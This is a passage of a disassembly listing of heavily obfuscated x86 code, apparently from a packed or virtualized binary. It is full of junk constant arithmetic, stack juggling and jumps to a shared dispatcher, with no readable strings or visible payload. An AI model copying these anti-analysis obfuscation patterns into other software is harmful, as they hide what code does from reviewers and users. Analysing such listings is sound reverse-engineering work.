ecx sub eax, 4F9E0E43h jmp loc_58EFA5 ; --------------------------------------------------------------------------- loc_58D6D2: ; CODE XREF: sdfs____:0058F301j push edx mov edx, 36B329CEh and edi, edx pop edx jmp loc_58EB38 ; --------------------------------------------------------------------------- loc_58D6E0: ; CODE XREF: sdfs____:00597DB6j shl dword ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58D6E9: ; CODE XREF: sub_591370+16D6j pop eax push edx push edi mov edi, 0DC17751h inc edi jno loc_5977D8 or edi, 69186677h mov ah, 9Ah pop ebx ; END OF FUNCTION CHUNK FOR sub_591370 ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D702: ; CODE XREF: sub_591435+24EAj mov esp, [esp+0Ch+var_C] or eax, eax jz loc_5981E4 push dword ptr [edi+1Ch] sub [esp+4+var_4], 44F577AAh mov ecx, [esp+4+var_4] add esp, 4 sub esp, 4 jmp loc_594089 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58D728: ; CODE XREF: sub_591370-2D71j mov ebx, 4B195F78h dec ebx not ebx push esi mov esi, 4AAE0EE0h and ebx, esi pop esi xor ebx, 0A600A4h jmp loc_5976FE ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58D744: ; CODE XREF: sub_5917C0+58ABj mov [esp-8+arg_4], ebp push ebx jmp loc_5957CE ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58D74D: ; CODE XREF: sub_5941BD-9A5j shl ebx, 6 push edi mov edi, 5758763Fh and edi, 744B4DF4h add edi, 0F837C6D0h add ebx, edi pop edi add esi, ebx pop ebx push edx mov edx, 4 sub esi, 50FE07C6h jmp loc_597AA0 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D779: ; CODE XREF: sub_591435+6914j pop ebp sub esp, 4 mov [esp+0Ch+var_C], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5966F1 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58D796: ; CODE XREF: sdfs____:00598888j push ebx mov bh, 3Dh jmp loc_5971A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D79E: ; CODE XREF: sub_591435-2691j ; sub_591370+7161j sub ecx, 4C094209h jnp loc_59678D xor ecx, 0DB34B7B1h mov edi, ecx jmp loc_590FE7 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_59384D ; --------------------------------------------------------------------------- loc_58D7BF: ; CODE XREF: sdfs____:00593D4Ej xor edi, 0A3B6D3B4h mov ebp, edi jmp loc_58EB71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58D7CC: ; CODE XREF: sub_5941BD+38EBj and edx, 700405F6h shr edx, 8 xor edx, 367018F9h not edx jmp loc_5965E3 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58D7E2: ; CODE XREF: sub_5917C0+6FD7j xor esi, 1C6A70E6h jns loc_58D15D not esi push ebx jmp loc_596C2C ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58D7F6: ; CODE XREF: sdfs____:0058BC29j sub edx, 6BC973E8h jmp loc_595EBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58D801: ; CODE XREF: sub_5BB696-23879j xchg eax, [esp+1Ah+var_1C+2] mov esp, [esp+1Ah+var_1C+2] mov [esp+1Ah+var_1C+2], ecx mov ch, 24h sub esp, 4 jmp loc_5954DE ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_58D817: ; CODE XREF: sdfs____:0058F607j mov edi, esp jmp loc_595A4C ; --------------------------------------------------------------------------- loc_58D81E: ; CODE XREF: sdfs____:00598DB1j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_596800 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58D831: ; CODE XREF: sub_591370+5BF5j pop ebp jmp loc_593857 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58D837: ; CODE XREF: sdfs____:0059761Ej and edi, 31ED6EACh jmp loc_596A1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58D842: ; CODE XREF: sub_591370+50A6j add edx, 4 sub edx, 4 xchg edx, [esp-8+arg_4] pop esp jmp loc_59005E ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58D854: ; CODE XREF: sdfs____:00594C7Dj push esi jmp loc_590DCE ; --------------------------------------------------------------------------- loc_58D85A: ; CODE XREF: sdfs____:00591592j pop esp div cl movzx cx, ah push 3093h jmp loc_58EE38 ; --------------------------------------------------------------------------- loc_58D86B: ; CODE XREF: sdfs____:0058D077j push esp pop dword ptr [esp] push ebx jmp loc_59870C ; --------------------------------------------------------------------------- loc_58D875: ; CODE XREF: sdfs____:0058E9A2j sub edx, 17470DBAh add edx, eax add edx, 17470DBAh pop eax xchg edx, [esp] pop esp push 3E4Fh jmp loc_5952B1 ; --------------------------------------------------------------------------- loc_58D892: ; CODE XREF: sdfs____:00596331j mov esi, edi pop edi jmp loc_58F270 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58D89A: ; CODE XREF: sub_59587A-3E85j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58D89F: ; CODE XREF: sub_5941BD-7119j dec edx add edx, 0F230B8Fh add edx, 4B9C67D3h xor edx, 0A88A1706h or ebp, edx pop edx sub ebp, 74AF0A39h xor ebp, 5BC83E76h xor edi, ebp jmp loc_595123 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58D8C8: ; CODE XREF: sdfs____:00592DF2j add esi, edi pop edi xchg esi, [esp] pop esp mov ax, [esp] push 0E4Ah jmp loc_58C399 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_58D8DD: ; CODE XREF: sub_598A21-31B4j xchg eax, [esp-4+arg_0] pop esp pop eax push esi mov esi, 57B652E1h xor eax, esi pop esi push ebx mov ebx, esp add ebx, 4 jmp loc_58E9A7 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_58D8F9: ; CODE XREF: sub_59377D:loc_595001j sub ecx, 3439F20h jmp loc_596F84 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_58D904: ; CODE XREF: sdfs____:0058D1D9j not edi xchg eax, edi xchg eax, edi sub edi, 0EA153C8h jp loc_598279 and edi, 65630072h jp loc_59703B jmp loc_595098 ; =============== S U B R O U T I N E ======================================= sub_58D925 proc near ; CODE XREF: sub_592D3F-5C61j ; sub_591435+539j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058F86D SIZE 00000012 BYTES push ebx mov ebx, 83D9C6h xor ecx, ebx pop ebx add edi, ecx jmp loc_58F86D sub_58D925 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58D935: ; CODE XREF: sub_5917C0+2F17j add bl, 88h movzx eax, al lea eax, [edi+eax*4] push 0BA1h mov [esp+4+var_4], eax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58D94B: ; CODE XREF: sdfs____:00591DB4j add edx, ebx sub edx, 40F0350Bh sub edx, 11680CA5h pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_58F3DB ; --------------------------------------------------------------------------- loc_58D969: ; CODE XREF: sdfs____:00597CC1j mov ah, 22h sub ah, 0 add ch, ah jmp loc_5900F4 ; --------------------------------------------------------------------------- loc_58D975: ; CODE XREF: sdfs____:005950B6j sub ebx, 32634DA2h add ebx, 768112C4h add ebx, eax sub ebx, 768112C4h add ebx, 32634DA2h push ecx mov ecx, 273133F2h jmp loc_597362 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58D99A: ; CODE XREF: sub_5962EB+3ADj pop ebx push [esp-10h+arg_C] mov ecx, [esp-0Ch+arg_8] add esp, 4 add esp, 4 ; END OF FUNCTION CHUNK FOR sub_5962EB ; =============== S U B R O U T I N E ======================================= sub_58D9A7 proc near ; CODE XREF: sub_5962EB-9606j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058FF1B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005918F6 SIZE 00000010 BYTES push ebx jmp loc_58FF1B sub_58D9A7 endp ; --------------------------------------------------------------------------- loc_58D9AD: ; CODE XREF: sdfs____:0058BFFDj add esp, 4 add esp, 4 push esi mov esi, 4 sub edi, 5F9A3FC1h jmp loc_58FFA7 ; --------------------------------------------------------------------------- loc_58D9C7: ; CODE XREF: sdfs____:005901E0j mov ebx, eax pop eax sub edi, ebx jmp loc_591B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58D9D1: ; CODE XREF: sub_5941BD-7F9Bj ; sdfs____:00594D95j mov edi, 5886EE0h xor edi, 6AD115ECh sub edi, 4B483E72h add eax, edi mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_592D01 ; END OF FUNCTION CHUNK FOR sub_5941BD ; =============== S U B R O U T I N E ======================================= sub_58D9EF proc near ; CODE XREF: sub_594228-8356j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx mov edx, 6B146C93h jmp sub_590CC3 sub_58D9EF endp ; --------------------------------------------------------------------------- loc_58D9FF: ; CODE XREF: sdfs____:005922F7j mov esi, 4 add [esp+4], esi pop esi mov ebp, [esp] add esp, 4 jmp loc_59433A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_58DA14: ; CODE XREF: sub_58DB37+F7j mov ebp, 2 sub ebx, ebp pop ebp xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] pop esp mov [esp+0], dx jmp loc_595796 ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- loc_58DA2F: ; CODE XREF: sdfs____:00598963j push 2A1Dh mov [esp], ecx mov cl, 13h mov bl, cl pop ecx shr bl, 4 shr bl, 3 xor bl, 62h push ecx mov ch, 0EFh jmp loc_59322D ; --------------------------------------------------------------------------- loc_58DA4D: ; CODE XREF: sdfs____:0058EFA0j push cx jmp loc_5911E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58DA54: ; CODE XREF: sub_5917C0+31DFj pop esp mov [esp+0], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58DC14 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58DA68: ; CODE XREF: sdfs____:0058BBD3j or ecx, 21C67B2Eh jmp loc_59783A ; --------------------------------------------------------------------------- loc_58DA73: ; CODE XREF: sdfs____:00598D35j or esi, 5EAF3419h add esi, 0DC24A621h sub ebx, esi pop esi jmp loc_58E3D7 ; --------------------------------------------------------------------------- loc_58DA87: ; CODE XREF: sdfs____:00593F11j pop esp mov [esp], eax mov eax, 4 sub ecx, 4D9922CEh add ecx, eax add ecx, 4D9922CEh pop eax push 591h mov [esp], eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] jmp loc_594706 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58DAB7: ; CODE XREF: sub_591435+4CDCj pop ecx jmp loc_59013E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58DABD: ; CODE XREF: sdfs____:00591D98j and esi, 34E27A0Bh add esi, 0FF52F27Fh and eax, esi pop esi xor eax, 1D7C7F57h sub eax, 1D6E7B6Ch add edi, eax pop eax xchg edi, [esp] jmp loc_58F306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58DAE1: ; CODE XREF: sub_594228-1F00j add ebx, 4 add ebx, 4 xchg ebx, [esp-6+arg_0+2] pop esp sub esp, 4 mov [esp-6+arg_0+2], esi push ebx push 261B2977h pop ebx jmp loc_593A38 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58DB03: ; CODE XREF: sdfs____:0058D329j pop eax push edx jmp loc_58F0C0 ; --------------------------------------------------------------------------- loc_58DB0A: ; CODE XREF: sdfs____:00590E83j pop esi jmp loc_5916D5 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_596D18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58DB1C: ; CODE XREF: sub_59214E-5E1Ej inc edx jp loc_58C613 not edx inc edx xor edx, 8189BB91h jmp loc_58CA3C ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- push edx loc_58DB32: ; CODE XREF: sdfs____:00592216j jmp loc_58B9C5 ; =============== S U B R O U T I N E ======================================= sub_58DB37 proc near ; CODE XREF: sub_59587A+260Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058C37A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058DA14 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058DC2A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F862 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005910F1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005912CC SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00595796 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebx jmp loc_58C37A sub_58DB37 endp ; --------------------------------------------------------------------------- loc_58DB45: ; CODE XREF: sdfs____:00595FE0j mov ecx, 4 add ebx, ecx jmp loc_596533 ; --------------------------------------------------------------------------- loc_58DB51: ; CODE XREF: sdfs____:00596E87j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xchg ebp, [esp] pop esp inc byte ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58DB70: ; CODE XREF: sub_59214E-644Ej pop dword ptr [edx+30h] mov ecx, [esp-4+arg_0] add esp, 4 popa popf retn ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58DB81: ; CODE XREF: sub_591370-45B1j push edx mov edx, 37DF1E32h push edx jmp loc_596F40 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58DB8D: ; CODE XREF: sdfs____:005925ABj xor ebp, 890C88C3h or ebx, ebp pop ebp add ebx, 2D52353Ah xor ebx, 6AF20513h add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] and ebx, 17F43967h add ebx, 309E7F67h jmp loc_59012C ; --------------------------------------------------------------------------- loc_58DBBC: ; CODE XREF: sdfs____:00598274j mov ah, 0ACh add bh, ah jmp loc_5987C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58DBC5: ; CODE XREF: sub_59587A-1AEFj ; sdfs____:005963A4j pop esp jmp loc_58C35E ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_58DBCB: ; CODE XREF: sub_58FE99-3E29j xor edx, 772F3F16h xor ecx, edx jmp loc_58E91C ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_58DBD8: ; CODE XREF: sdfs____:0058F723j pop ebx jmp loc_598CE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58DBDE: ; CODE XREF: sub_591435+6B40j xor edx, ecx pop ecx jmp loc_59448E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58DBE6: ; CODE XREF: sdfs____:loc_597623j push edi mov edi, 223C350Ah xor edi, 35EA37AFh sub ebp, edi jmp loc_58BA23 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58DC08: ; CODE XREF: sdfs____:0058E334j pop eax add esp, 4 jmp loc_58F6FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58DC14: ; CODE XREF: sub_5917C0-3D5Dj push edx jmp loc_596701 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58DC1A: ; CODE XREF: sdfs____:0058E0D6j pop ebx not al neg al jmp loc_59357B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58DC24: ; CODE XREF: sub_5941BD+242Ej pop edx jmp loc_59847F ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_58DC2A: ; CODE XREF: sub_58DB37+1D31j add ebx, esi pop esi push ebp jmp loc_58DA14 ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebp jmp loc_593A97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58DC3F: ; CODE XREF: sub_5987BC-A308j add esp, 4 push 0C85h mov [esp+0], ecx mov cl, 92h shl cl, 3 and cl, 7Eh add cl, 0FFh xor cl, 8 sub bl, 46h sub bl, cl push edx mov dl, 0D8h sub dl, 92h add bl, dl pop edx pop ecx jmp loc_5975AC ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58DC7D: ; CODE XREF: sdfs____:0058CD92j pop ebx and ebx, 61165B97h js loc_593631 not ebx and ebx, 1EB84A65h sub ebx, 1EB84A5Dh mov edx, ebx pop ebx add ecx, edx mov edx, [esp] push eax mov eax, esp add eax, 4 push edi mov edi, 320278C4h jmp loc_59506A ; --------------------------------------------------------------------------- loc_58DCB3: ; CODE XREF: sdfs____:0058ED17j push bx dec byte ptr [esp] pop bx sub bl, 2 jmp loc_5913F5 ; --------------------------------------------------------------------------- loc_58DCC2: ; CODE XREF: sdfs____:005924E1j push edx mov dl, 95h mov bl, dl pop edx jmp loc_58C14B ; --------------------------------------------------------------------------- loc_58DCCD: ; CODE XREF: sdfs____:005900EFj pop ebx jmp loc_58BE14 ; --------------------------------------------------------------------------- loc_58DCD3: ; CODE XREF: sdfs____:0058F553j sub eax, ecx jmp loc_593F9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58DCDA: ; CODE XREF: sub_591435+23ABj mov ax, word ptr [esp+0Ch+var_C] push edi push 5EE4h mov [esp+14h+var_14], esp add [esp+14h+var_14], 4 jmp loc_592EA8 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58DCF3: ; CODE XREF: sdfs____:0058F775j ; sub_591370+21FEj add eax, ecx pop ecx sub esp, 4 mov [esp-0Ch+arg_8], ebx mov ebx, 533414AAh sub eax, ebx pop ebx push edx jmp loc_5987B6 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58DD0A: ; CODE XREF: sub_591435+Ej push edi mov edi, 0C9B1C98h inc edi not edi shl edi, 3 xor edi, 9B271B34h add ebx, edi pop edi jmp loc_59060A ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58DD24: ; CODE XREF: sdfs____:0058C8BBj mov edi, [esp] add esp, 4 mov eax, 218A1B8Dh xor eax, ebx pop ebx push 7392h mov [esp], ecx jmp loc_5980B5 ; --------------------------------------------------------------------------- loc_58DD42: ; CODE XREF: sdfs____:0058F833j mov ch, 3Bh add ch, 99h push edx mov dh, 67h sub dh, 0Eh xor dh, 0ABh add bl, dh jmp loc_594F43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58DD57: ; CODE XREF: sub_5987BC-76D0j mov dh, cl pop ecx jmp loc_59784C ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58DD5F: ; CODE XREF: sub_5917C0-2967j mov dl, 34h mov cl, dl pop dx xor cl, 0Bh and cl, 4 jmp loc_5900D0 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58DD70: ; CODE XREF: sdfs____:00596F2Bj add esp, 4 push ecx push ebx mov ebx, 6788135Fh mov ecx, ebx push dword ptr [esp] pop ebx add esp, 4 xor edx, ecx push dword ptr [esp] pop ecx jmp loc_594012 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58DD8E: ; CODE XREF: sdfs____:loc_595EEBj ; sub_5917C0+594Bj or ebp, 276F376Eh shl ebp, 4 jmp loc_591857 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58DD9C: ; CODE XREF: sub_5962EB-3714j mov [esp+0], edx push ebp mov ebp, 27386F03h not ebp or ebp, 4D7D1DC8h jle loc_58C629 jmp loc_590906 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- jmp loc_5952B1 ; --------------------------------------------------------------------------- loc_58DDBD: ; CODE XREF: sdfs____:005901B9j mov ecx, 4C213120h xor ecx, 2F0B4C5Dh not ecx and ecx, 6E52516Bh push esi mov esi, 0 sub esi, ecx xchg esi, ecx pop esi jmp loc_5934AD ; --------------------------------------------------------------------------- loc_58DDE0: ; CODE XREF: sdfs____:005978DBj pop esi add esi, 4 jmp loc_5904C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58DDEC: ; CODE XREF: sub_59214E+1C17j push 3BE2h mov [esp+0], ecx push eax mov eax, 8B24A7h mov ecx, eax jmp loc_58E4A3 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58DE01: ; CODE XREF: sub_591370+7447j mov edi, 5DE57C18h jmp loc_58CA7A ; --------------------------------------------------------------------------- loc_58DE0B: ; CODE XREF: sub_591370-1208j sub ecx, 4 xor ecx, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], ecx xor ecx, [esp-0Ch+arg_8] pop esp jmp loc_591771 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58DE20: ; CODE XREF: sub_594228+1EFBj pop ecx pop ebx jmp loc_58BEB9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58DE27: ; CODE XREF: sdfs____:00598392j xor ebx, eax sub esp, 4 mov [esp], edi mov edi, 0AD84116h push ecx push ebx jmp loc_59529E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58DE3B: ; CODE XREF: sub_5987BC+2j mov edi, 69AF11F6h mov ebp, 69AF11FAh sub ebp, 6E3662Ah sub ebp, edi push edi mov edi, 7ABD52EDh add edi, 2C213E5Fh jbe loc_58C075 not edi shl edi, 4 jmp loc_58CC74 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58DE69: ; CODE XREF: sub_591435+7699j push eax mov al, 0BDh push ebx mov bl, 44h dec bl not bl jmp loc_58FEA9 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58DE78: ; CODE XREF: sdfs____:0058EC0Ej and esi, 38C941E9h jmp loc_58D1C0 ; --------------------------------------------------------------------------- loc_58DE83: ; CODE XREF: sdfs____:00590451j mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_59495B ; --------------------------------------------------------------------------- loc_58DE99: ; CODE XREF: sdfs____:00597553j push ecx mov ch, 0D3h jmp loc_58F503 ; --------------------------------------------------------------------------- loc_58DEA1: ; CODE XREF: sdfs____:00595471j push ecx push edx jmp loc_58F3E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58DEA8: ; CODE XREF: sub_594228-3954j mov [esp-0Ah+arg_6], ebx push esp pop ebx push ecx mov ecx, 6EC24A0Ah and ecx, 38E9476Eh jmp loc_595A57 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58DEBE: ; CODE XREF: sub_5985AE-5250j mov ebp, 70B90627h xor ebp, 0EAF705C3h jmp loc_591A2F ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_58DECE: ; CODE XREF: sdfs____:005937C1j push esp pop ecx push edx push 3424h mov [esp], ecx mov ecx, 39F25524h mov edx, 39F25528h sub edx, 6A764BC1h jmp loc_59272A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58DEEE: ; CODE XREF: sub_5962EB-CB3j xchg edx, [esp-10h+arg_C] jmp loc_590E88 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58DEF6: ; CODE XREF: sub_5917C0-58DDj add ebx, esi mov esi, [esp+0] add esp, 4 sub ebx, 4 push ebx push [esp+arg_0] jmp loc_594964 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_58DF0B: ; CODE XREF: sub_58CDE6-B4Aj mov ecx, edi pop edi jmp sub_597CE3 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_58DF13: ; CODE XREF: sdfs____:005919B5j pop ebp add ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_58DF2C: ; CODE XREF: sub_58BAD7+14B0j mov esi, [esp+0] add esp, 4 sub [edi+24h], eax pop eax loc_58DF39: ; CODE XREF: sub_594228-3196j push ebp jmp loc_592D5E ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- loc_58DF3F: ; CODE XREF: sdfs____:0058D5C5j mov ebx, 7AE655A7h push edi mov edi, 40B562EDh sub [esp+8], edi pop edi jmp loc_58BACE ; --------------------------------------------------------------------------- lodsd jmp loc_597DE1 ; --------------------------------------------------------------------------- loc_58DF5A: ; CODE XREF: sdfs____:0058F5A3j or edi, 1B5E1665h push edi xchg edx, [esp] jmp loc_59553C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58DF69: ; CODE XREF: sub_59576E-2FB4j pop cx add si, 1 push bp mov bp, 2C02h xor si, bp jmp loc_596A48 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_58DF7D: ; CODE XREF: sdfs____:005968B2j pop edx shr ebp, 8 xor ebp, 6F662Eh jmp loc_58F1EE ; --------------------------------------------------------------------------- loc_58DF8C: ; CODE XREF: sdfs____:0059863Fj push 2C0138A9h pop edx and edx, 68E95E03h jnb loc_58CE4D shr edx, 6 or edx, 7CEC77C3h mov esi, ebx push edx ; START OF FUNCTION CHUNK FOR sub_594228 loc_58DFAA: ; CODE XREF: sub_594228+17E1j mov [esp-6+arg_0+2], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6+arg_0+2] pop esp jmp loc_5937E5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58DFC4: ; CODE XREF: sub_5917C0+794j mov edi, 284D07F4h sub eax, edi pop edi add eax, edi add eax, 284D07F4h pop edi jmp loc_58FEF5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58DFD9: ; CODE XREF: sdfs____:0059134Ej pop bx jmp loc_5973E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58DFE0: ; CODE XREF: sub_594F18+15j push edi jmp loc_59304C ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_58DFE6: ; CODE XREF: sdfs____:00592C04j jmp sub_58C71E ; --------------------------------------------------------------------------- loc_58DFEB: ; CODE XREF: sdfs____:0058C6B0j xor ebp, eax jmp loc_58F160 ; 